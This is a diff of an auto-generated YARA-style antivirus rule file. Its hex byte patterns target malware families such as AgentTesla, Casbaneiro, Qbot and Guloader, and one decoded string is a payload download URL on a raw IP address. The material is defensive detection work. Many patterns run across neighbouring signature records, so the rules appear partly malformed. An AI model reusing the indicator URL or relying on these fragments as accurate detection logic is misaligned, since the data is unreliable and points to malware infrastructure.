8b 4c 24 90 01 09 48 8b 54 24 60 90 01 08 48 8b cb 48 89 44 24 20 ff 15 90 00 01 } //17664 + $a_41_3 = {20 00 00 } //6656 + $a_05_4 = {48 } //-28672 H + condition: + ((#a_46_0 & 1)*21283+(#a_c0_2 & 1)*17664+(#a_41_3 & 1)*6656+(#a_05_4 & 1)*-28672) >=3 + +} +rule _InfrastructureShared_16525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -180139,7 +192233,7 @@ rule _InfrastructureShared_15505{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_15506{ +rule _InfrastructureShared_16526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -180152,7 +192246,7 @@ rule _InfrastructureShared_15506{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8209+(#a_00_2 & 1)*400+(#a_20_3 & 1)*10) >=4 } -rule _InfrastructureShared_15507{ +rule _InfrastructureShared_16527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -180168,7 +192262,7 @@ rule _InfrastructureShared_15507{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*15648+(#a_65_2 & 1)*25700+(#a_00_3 & 1)*4+(#a_43_4 & 1)*17263+(#a_90_5 & 1)*-252+(#a_40_6 & 1)*-30388) >=4 } -rule _InfrastructureShared_15508{ +rule _InfrastructureShared_16528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -180181,7 +192275,7 @@ rule _InfrastructureShared_15508{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*20607+(#a_00_2 & 1)*144+(#a_00_3 & 1)*18433) >=4 } -rule _InfrastructureShared_15509{ +rule _InfrastructureShared_16529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -180191,7 +192285,7 @@ rule _InfrastructureShared_15509{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_15510{ +rule _InfrastructureShared_16530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -180207,7 +192301,7 @@ rule _InfrastructureShared_15510{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*8313+(#a_72_2 & 1)*28001+(#a_65_3 & 1)*8306+(#a_65_4 & 1)*384+(#a_6e_5 & 1)*22330+(#a_5c_6 & 1)*17748) >=5 } -rule _InfrastructureShared_15511{ +rule _InfrastructureShared_16531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -180221,7 +192315,7 @@ rule _InfrastructureShared_15511{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*-32726+(#a_61_2 & 1)*8299+(#a_0d_3 & 1)*-25499+(#a_00_6 & 1)*6) >=5 } -rule _InfrastructureShared_15512{ +rule _InfrastructureShared_16532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -180236,7 +192330,7 @@ rule _InfrastructureShared_15512{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29806+(#a_30_2 & 1)*14384+(#a_42_3 & 1)*8448+(#a_52_4 & 1)*385+(#a_47_5 & 1)*25972) >=6 } -rule _InfrastructureShared_15513{ +rule _InfrastructureShared_16533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -180255,7 +192349,7 @@ rule _InfrastructureShared_15513{ ((#a_5f_0 & 1)*16931+(#a_2e_1 & 1)*20069+(#a_00_2 & 1)*26479+(#a_6c_3 & 1)*19713+(#a_38_4 & 1)*25953+(#a_73_5 & 1)*29230+(#a_4d_6 & 1)*27503+(#a_de_7 & 1)*2317+(#a_36_8 & 1)*385+(#a_52_9 & 1)*-32505) >=6 } -rule _InfrastructureShared_15514{ +rule _InfrastructureShared_16534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -180271,7 +192365,7 @@ rule _InfrastructureShared_15514{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26950+(#a_6d_2 & 1)*26946+(#a_00_3 & 1)*-8659+(#a_61_4 & 1)*385+(#a_30_5 & 1)*13410+(#a_5f_6 & 1)*12383) >=7 } -rule _InfrastructureShared_15515{ +rule _InfrastructureShared_16535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -180286,7 +192380,7 @@ rule _InfrastructureShared_15515{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*11879+(#a_78_3 & 1)*18433+(#a_72_4 & 1)*24431+(#a_6f_5 & 1)*28257+(#a_69_6 & 1)*27937) >=7 } -rule _InfrastructureShared_15516{ +rule _InfrastructureShared_16536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -180301,7 +192395,7 @@ rule _InfrastructureShared_15516{ ((#a_66_0 & 1)*21283+(#a_45_1 & 1)*20033+(#a_69_2 & 1)*28265+(#a_00_4 & 1)*7680+(#a_65_5 & 1)*29561+(#a_50_6 & 1)*29793) >=7 } -rule _InfrastructureShared_15517{ +rule _InfrastructureShared_16537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -180317,7 +192411,7 @@ rule _InfrastructureShared_15517{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*29813+(#a_00_2 & 1)*2816+(#a_63_3 & 1)*25700+(#a_00_5 & 1)*56+(#a_6e_6 & 1)*25391+(#a_00_7 & 1)*24946) >=8 } -rule _InfrastructureShared_15518{ +rule _InfrastructureShared_16538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -180334,7 +192428,7 @@ rule _InfrastructureShared_15518{ ((#a_54_0 & 1)*18467+(#a_03_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=8 } -rule _InfrastructureShared_15519{ +rule _InfrastructureShared_16539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -180342,16 +192436,33 @@ rule _InfrastructureShared_15519{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 47 33 34 00 01 00 0d 81 01 41 73 79 6e 63 43 61 6c 6c 62 61 63 6b 01 00 25 81 01 24 66 61 39 63 31 63 39 39 2d 33 35 34 34 2d 34 63 30 34 2d 38 37 36 66 2d 31 30 32 39 } //18467 $a_62_1 = {32 38 34 01 00 05 81 01 4c 6f 61 78 64 01 00 18 81 01 51 64 72 62 64 6b 79 62 70 6a 6c 79 72 77 67 2e 42 69 73 62 78 6e 69 64 01 00 0f 81 01 51 64 72 62 64 6b 79 62 70 6a 6c 79 72 77 67 01 00 0e 81 01 43 72 65 61 74 65 44 65 6c 65 67 61 74 65 01 00 0d 81 01 44 79 6e 61 6d 69 63 49 6e 76 6f } //14649 $a_00_2 = {10 } //25963 - $a_72_3 = {6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0b 81 01 45 6e 76 69 72 6f 6e 6d 65 6e 74 00 00 78 ee 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 43 61 73 62 61 6e 65 } //385 - $a_2e_4 = {00 06 00 6b 03 01 00 8b 45 90 01 01 e8 90 01 04 0f b7 55 90 01 01 0f b7 4d 90 01 01 8b 5d 90 01 01 8b 1b 8a 4c 0b 90 01 01 0f b7 5d 90 01 01 c1 eb 90 01 01 32 cb 88 4c 10 90 01 01 0f b7 45 90 01 01 8b 55 90 01 01 0f b6 44 02 90 01 01 66 03 45 90 01 01 66 69 c0 90 01 02 66 05 90 01 02 66 89 45 90 01 01 66 ff 45 90 01 01 66 ff 4d 90 } //29289 - $a_65_6 = {74 65 50 72 6f 63 65 73 73 57 01 00 0c 01 43 72 65 61 74 65 4d 75 74 65 78 57 01 00 15 01 4c 6f 6f 6b 75 70 50 72 69 76 69 6c 65 67 65 56 61 6c 75 65 57 01 00 15 01 41 64 6a 75 73 74 54 6f 6b 65 6e 50 72 69 76 69 6c 65 67 65 73 00 00 78 ee 00 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 62 6f 74 2e 53 50 } //17153 - $a_52_7 = {01 00 08 01 74 65 6c 6c 2e 70 64 62 01 00 19 01 49 6e 74 65 72 6c 6f 63 6b 65 64 50 75 73 68 45 6e 74 72 79 53 4c 69 73 74 01 00 1b 01 46 69 6e 64 46 69 72 73 74 43 68 61 6e 67 65 4e 6f 74 69 66 69 63 61 74 69 6f 6e 01 00 0a 01 4d 6f 76 65 46 69 6c } //19745 - $a_01_8 = {00 0f 01 46 69 6e 64 46 69 72 73 74 46 69 6c 65 45 78 01 00 11 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 09 01 44 72 69 6e 6b 77 69 6e 67 01 00 07 01 54 6f 77 6e 66 75 6e 01 00 18 01 47 65 74 55 73 65 72 4f 62 6a 65 63 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 11 01 53 79 73 74 65 6d 46 75 6e 63 74 69 6f 6e 30 33 36 00 00 78 ee 00 00 0a 00 } //17765 + $a_72_3 = {6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0b 81 01 45 6e 76 69 72 6f 6e 6d 65 6e 74 00 00 78 ee 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 48 52 30 31 21 4d } //385 + $a_01_5 = {63 61 6e 6e 61 62 69 73 73 65 73 2e 69 6e 69 01 00 1e 81 01 64 79 73 70 68 65 6d 69 73 6d 20 73 6b 79 66 72 69 74 20 73 6b 72 69 76 65 6c 69 6e 6a 65 01 00 0b 81 01 65 6e 65 63 65 6c 6c 65 72 6e 65 01 00 16 81 01 63 65 6e 74 72 61 64 20 73 6f 6a 61 6f 6c 69 65 6e 73 2e 65 78 65 01 00 10 81 01 62 72 64 72 65 6d 65 6e 69 67 68 65 64 65 72 73 01 00 0b 81 01 6d 75 6d 6d 69 65 64 2e 6a 70 } //3840 + $a_6e_7 = {65 61 63 65 61 62 6c 79 2e 66 72 69 01 00 12 81 01 74 61 6e 6b 65 66 6c 75 67 74 65 72 6e 65 2e 6a 70 67 01 00 0f 81 01 66 69 62 65 72 66 61 74 74 69 67 2e 74 78 74 00 00 78 ee 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 43 61 73 62 61 6e 65 69 72 6f 2e 43 00 06 00 6b 03 01 00 8b 45 90 01 01 e8 90 01 04 } //385 + $a_90_8 = {01 0f b7 4d 90 01 01 8b 5d 90 01 01 8b 1b 8a 4c 0b 90 01 01 0f b7 5d 90 01 01 c1 eb 90 01 01 32 cb 88 4c 10 90 01 01 0f b7 45 90 01 01 8b 55 90 01 01 0f b6 44 02 90 01 01 66 03 45 90 01 01 66 69 c0 90 01 02 66 05 90 01 02 66 89 45 90 01 01 66 ff 45 90 01 } //-18673 condition: - ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*14649+(#a_00_2 & 1)*25963+(#a_72_3 & 1)*385+(#a_2e_4 & 1)*29289+(#a_65_6 & 1)*17153+(#a_52_7 & 1)*19745+(#a_01_8 & 1)*17765) >=9 + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*14649+(#a_00_2 & 1)*25963+(#a_72_3 & 1)*385+(#a_01_5 & 1)*3840+(#a_6e_7 & 1)*385+(#a_90_8 & 1)*-18673) >=9 } -rule _InfrastructureShared_15520{ +rule _InfrastructureShared_16540{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 48 52 30 31 21 4d 54 42 00 01 00 0f 81 01 63 61 6e 6e 61 62 69 73 73 65 73 2e 69 6e 69 01 00 1e 81 01 64 79 73 70 68 65 6d 69 73 6d 20 73 6b 79 66 72 69 74 20 73 6b 72 69 76 65 6c 69 6e 6a 65 01 00 } //18467 + $a_65_1 = {65 } //-32501 e + $a_6c_2 = {72 6e 65 01 00 16 81 01 63 65 6e 74 72 61 64 20 73 6f 6a 61 6f 6c 69 65 6e 73 2e 65 78 65 01 00 10 81 01 62 72 64 72 65 6d 65 6e 69 67 68 65 64 65 72 73 01 00 0b 81 01 6d 75 6d 6d 69 65 64 2e 6a 70 67 01 00 0f 81 01 75 6e 70 65 61 63 65 61 62 6c 79 2e 66 72 69 01 00 12 81 01 74 61 6e 6b 65 66 6c 75 67 74 65 72 6e 65 2e 6a } //25955 + $a_00_3 = {0f } //26480 + $a_69_4 = {65 72 66 61 74 74 69 67 2e 74 78 74 00 00 78 ee 00 00 0a 00 0a 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 43 61 73 62 61 6e 65 69 72 6f 2e 43 00 06 00 6b 03 01 00 8b 45 90 01 01 e8 90 01 04 0f b7 55 90 01 01 0f b7 4d 90 01 01 8b 5d 90 01 01 8b 1b 8a 4c 0b 90 01 01 0f b7 5d } //385 + $a_c1_5 = {90 } //400 + $a_cb_6 = {4c 10 90 01 01 0f b7 45 90 01 01 8b 55 90 01 01 0f b6 44 02 90 01 01 66 03 45 90 01 01 66 69 c0 90 01 02 66 05 90 01 02 66 89 45 90 01 01 66 ff 45 90 } //257 + $a_ff_7 = {90 00 01 00 0e 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 57 01 00 0c 01 43 72 65 61 74 65 4d 75 74 65 78 57 01 00 15 01 4c 6f 6f 6b 75 70 50 72 69 76 69 6c 65 67 65 56 61 6c 75 65 57 01 00 15 01 41 64 6a 75 73 74 54 6f 6b 65 6e 50 72 69 76 69 6c 65 67 65 73 00 00 78 ee 00 00 0a 00 0a 00 0a 00 21 23 41 4c } //257 + $a_72_8 = {6a 61 6e 3a 57 69 6e 33 32 2f 51 62 6f 74 2e 53 50 21 4d 53 52 00 01 00 08 01 74 65 6c 6c 2e 70 64 62 01 00 19 01 49 6e 74 65 72 6c 6f 63 6b 65 64 50 75 73 68 45 6e 74 72 79 53 4c 69 73 74 01 00 1b 01 46 69 6e 64 46 69 72 73 74 43 68 61 6e 67 65 4e 6f } //14918 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*-32501+(#a_6c_2 & 1)*25955+(#a_00_3 & 1)*26480+(#a_69_4 & 1)*385+(#a_c1_5 & 1)*400+(#a_cb_6 & 1)*257+(#a_ff_7 & 1)*257+(#a_72_8 & 1)*14918) >=9 + +} +rule _InfrastructureShared_16541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -180365,7 +192476,7 @@ rule _InfrastructureShared_15520{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28437+(#a_10_2 & 1)*-30517+(#a_65_3 & 1)*17153+(#a_49_4 & 1)*6400) >=10 } -rule _InfrastructureShared_15521{ +rule _InfrastructureShared_16542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -180383,7 +192494,7 @@ rule _InfrastructureShared_15521{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*29554+(#a_69_2 & 1)*24941+(#a_74_3 & 1)*28488+(#a_00_4 & 1)*9472+(#a_61_5 & 1)*30061+(#a_65_6 & 1)*25902+(#a_10_7 & 1)*520+(#a_08_8 & 1)*8192) >=10 } -rule _InfrastructureShared_15522{ +rule _InfrastructureShared_16543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -180401,7 +192512,7 @@ rule _InfrastructureShared_15522{ ((#a_54_0 & 1)*18467+(#a_73_2 & 1)*18433+(#a_01_3 & 1)*13109+(#a_6e_4 & 1)*26988+(#a_5f_5 & 1)*17477+(#a_00_6 & 1)*30821+(#a_04_7 & 1)*4128+(#a_40_8 & 1)*2064+(#a_00_9 & 1)*144) >=10 } -rule _InfrastructureShared_15523{ +rule _InfrastructureShared_16544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -180415,7 +192526,7 @@ rule _InfrastructureShared_15523{ ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*27765+(#a_68_2 & 1)*21355+(#a_44_3 & 1)*17476+(#a_02_5 & 1)*4160) >=18 } -rule _InfrastructureShared_15524{ +rule _InfrastructureShared_16545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -180428,7 +192539,7 @@ rule _InfrastructureShared_15524{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*8196+(#a_00_2 & 1)*144+(#a_08_3 & 1)*16387) >=1 } -rule _InfrastructureShared_15525{ +rule _InfrastructureShared_16546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -180444,7 +192555,7 @@ rule _InfrastructureShared_15525{ ((#a_4c_0 & 1)*21539+(#a_7a_1 & 1)*29583+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_ef_6 & 1)*0) >=1 } -rule _InfrastructureShared_15526{ +rule _InfrastructureShared_16547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -180455,7 +192566,7 @@ rule _InfrastructureShared_15526{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92) >=2 } -rule _InfrastructureShared_15527{ +rule _InfrastructureShared_16548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -180466,7 +192577,7 @@ rule _InfrastructureShared_15527{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-16085) >=2 } -rule _InfrastructureShared_15528{ +rule _InfrastructureShared_16549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -180477,7 +192588,7 @@ rule _InfrastructureShared_15528{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4510) >=2 } -rule _InfrastructureShared_15529{ +rule _InfrastructureShared_16550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -180488,7 +192599,7 @@ rule _InfrastructureShared_15529{ ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*400) >=2 } -rule _InfrastructureShared_15530{ +rule _InfrastructureShared_16551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -180500,7 +192611,7 @@ rule _InfrastructureShared_15530{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448+(#a_2d_2 & 1)*2305) >=2 } -rule _InfrastructureShared_15531{ +rule _InfrastructureShared_16552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -180512,7 +192623,7 @@ rule _InfrastructureShared_15531{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*116+(#a_00_2 & 1)*110) >=2 } -rule _InfrastructureShared_15532{ +rule _InfrastructureShared_16553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -180523,7 +192634,7 @@ rule _InfrastructureShared_15532{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_15533{ +rule _InfrastructureShared_16554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180534,7 +192645,7 @@ rule _InfrastructureShared_15533{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-5120) >=3 } -rule _InfrastructureShared_15534{ +rule _InfrastructureShared_16555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -180544,7 +192655,7 @@ rule _InfrastructureShared_15534{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15535{ +rule _InfrastructureShared_16556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -180555,7 +192666,7 @@ rule _InfrastructureShared_15535{ ((#a_72_0 & 1)*22051+(#a_01_2 & 1)*-28655) >=3 } -rule _InfrastructureShared_15536{ +rule _InfrastructureShared_16557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -180567,7 +192678,7 @@ rule _InfrastructureShared_15536{ ((#a_46_0 & 1)*16675+(#a_f8_1 & 1)*-30376+(#a_04_3 & 1)*0) >=4 } -rule _InfrastructureShared_15537{ +rule _InfrastructureShared_16558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -180580,7 +192691,7 @@ rule _InfrastructureShared_15537{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29520+(#a_30_2 & 1)*30768+(#a_72_3 & 1)*25958) >=4 } -rule _InfrastructureShared_15538{ +rule _InfrastructureShared_16559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -180593,7 +192704,7 @@ rule _InfrastructureShared_15538{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26475+(#a_74_2 & 1)*26994+(#a_2b_3 & 1)*279) >=4 } -rule _InfrastructureShared_15539{ +rule _InfrastructureShared_16560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -180608,7 +192719,7 @@ rule _InfrastructureShared_15539{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29284+(#a_72_2 & 1)*17696+(#a_01_3 & 1)*-28612+(#a_2f_4 & 1)*400+(#a_90_5 & 1)*-16111) >=4 } -rule _InfrastructureShared_15540{ +rule _InfrastructureShared_16561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 03 00 05 00 21 " @@ -180620,7 +192731,7 @@ rule _InfrastructureShared_15540{ ((#a_46_0 & 1)*16675+(#a_10_3 & 1)*-29940+(#a_c0_4 & 1)*7245) >=3 } -rule _InfrastructureShared_15541{ +rule _InfrastructureShared_16562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -180632,7 +192743,7 @@ rule _InfrastructureShared_15541{ ((#a_54_0 & 1)*18467+(#a_19_1 & 1)*1043+(#a_11_2 & 1)*9473) >=5 } -rule _InfrastructureShared_15542{ +rule _InfrastructureShared_16563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -180644,7 +192755,7 @@ rule _InfrastructureShared_15542{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*44+(#a_00_3 & 1)*49) >=5 } -rule _InfrastructureShared_15543{ +rule _InfrastructureShared_16564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -180658,7 +192769,7 @@ rule _InfrastructureShared_15543{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*27766+(#a_69_2 & 1)*29285+(#a_72_3 & 1)*30564+(#a_20_4 & 1)*28521) >=5 } -rule _InfrastructureShared_15544{ +rule _InfrastructureShared_16565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -180674,7 +192785,7 @@ rule _InfrastructureShared_15544{ ((#a_77_0 & 1)*16675+(#a_69_1 & 1)*28271+(#a_62_2 & 1)*22373+(#a_42_3 & 1)*21840+(#a_61_4 & 1)*11642+(#a_0f_5 & 1)*-25499+(#a_00_6 & 1)*73) >=5 } -rule _InfrastructureShared_15545{ +rule _InfrastructureShared_16566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -180691,7 +192802,7 @@ rule _InfrastructureShared_15545{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25966+(#a_74_2 & 1)*28265+(#a_41_3 & 1)*19777+(#a_56_4 & 1)*17004+(#a_65_5 & 1)*24943+(#a_67_6 & 1)*29795+(#a_00_7 & 1)*6) >=5 } -rule _InfrastructureShared_15546{ +rule _InfrastructureShared_16567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -180706,7 +192817,7 @@ rule _InfrastructureShared_15546{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*-32473+(#a_47_2 & 1)*16738+(#a_00_3 & 1)*3329+(#a_66_4 & 1)*26482+(#a_73_5 & 1)*27749) >=6 } -rule _InfrastructureShared_15547{ +rule _InfrastructureShared_16568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -180721,7 +192832,7 @@ rule _InfrastructureShared_15547{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*29285+(#a_73_2 & 1)*29299+(#a_73_3 & 1)*24946+(#a_62_4 & 1)*-32486+(#a_61_5 & 1)*28005) >=6 } -rule _InfrastructureShared_15548{ +rule _InfrastructureShared_16569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -180731,43 +192842,28 @@ rule _InfrastructureShared_15548{ $a_65_2 = {6d 72 61 61 64 65 74 20 6e 6f 76 75 73 01 00 0d 81 01 70 61 72 65 6e 74 68 65 73 69 7a 65 73 00 00 78 ef 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 45 31 31 36 21 4d 54 42 00 01 00 25 81 01 24 32 31 38 65 38 37 66 32 2d 65 31 38 } //24940 $a_36_3 = {36 2d 62 36 61 37 2d 62 32 39 37 63 33 39 31 61 61 39 36 01 00 15 81 01 4a 62 61 79 69 75 7a 68 64 78 76 70 64 72 7a 77 72 67 69 74 67 01 00 0c 81 01 4f 73 } //11569 $a_64_4 = {77 7a 7a 78 64 01 00 1e 81 01 43 65 62 63 75 73 70 7a 71 6d 65 75 64 6e 78 62 75 7a 6e 62 73 66 2e 4f 69 65 6b 68 72 6b 01 00 0d 81 01 43 6b 62 7a 68 76 68 67 64 65 6d 77 75 01 00 1d 81 01 68 74 74 70 3a 2f 2f 31 37 32 2e 32 34 35 2e 31 34 32 2e 33 35 2f 39 39 30 2e 62 6d 70 01 00 0c 81 01 4d 7a 64 73 74 68 6b 65 6b 6f 75 79 00 00 78 ef 00 00 07 00 } //31091 - $a_00_5 = {21 23 54 45 4c 3a } //7 !#TEL: + $a_00_5 = {21 23 41 4c 46 3a 54 } //7 !#ALF:T condition: ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*29282+(#a_65_2 & 1)*24940+(#a_36_3 & 1)*11569+(#a_64_4 & 1)*31091+(#a_00_5 & 1)*7) >=6 } -rule _InfrastructureShared_15549{ +rule _InfrastructureShared_16570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 41 45 31 31 36 21 4d 54 42 00 01 00 25 81 01 24 32 31 38 65 38 37 66 32 2d 65 31 38 31 2d 34 36 30 36 2d 62 36 61 37 2d 62 32 39 37 63 33 39 31 61 61 39 36 01 00 15 81 01 } //18467 $a_79_1 = {75 7a 68 64 78 76 70 64 72 7a 77 72 67 69 74 67 01 00 0c 81 01 4f 73 73 79 75 64 6e 77 7a 7a 78 64 01 00 1e 81 01 43 65 62 63 75 73 70 7a 71 6d 65 75 64 6e 78 62 75 7a 6e 62 73 66 2e 4f 69 65 6b 68 72 6b 01 00 0d 81 01 43 6b 62 7a 68 76 68 67 64 65 6d 77 75 01 00 1d 81 01 68 74 74 70 3a 2f } //25162 - $a_32_2 = {32 34 35 2e 31 34 32 2e 33 35 2f 39 39 30 2e 62 6d 70 01 00 0c 81 01 4d 7a 64 73 74 68 6b 65 6b 6f 75 79 00 00 78 ef 00 00 07 00 07 00 06 00 21 23 54 45 4c 3a 54 72 } //12591 - $a_6e_3 = {4d 53 49 4c 2f 4c 61 7a 79 2e 4d 42 57 4a 21 4d 54 42 00 02 00 4e 01 6c 52 6c 57 54 6d 5a 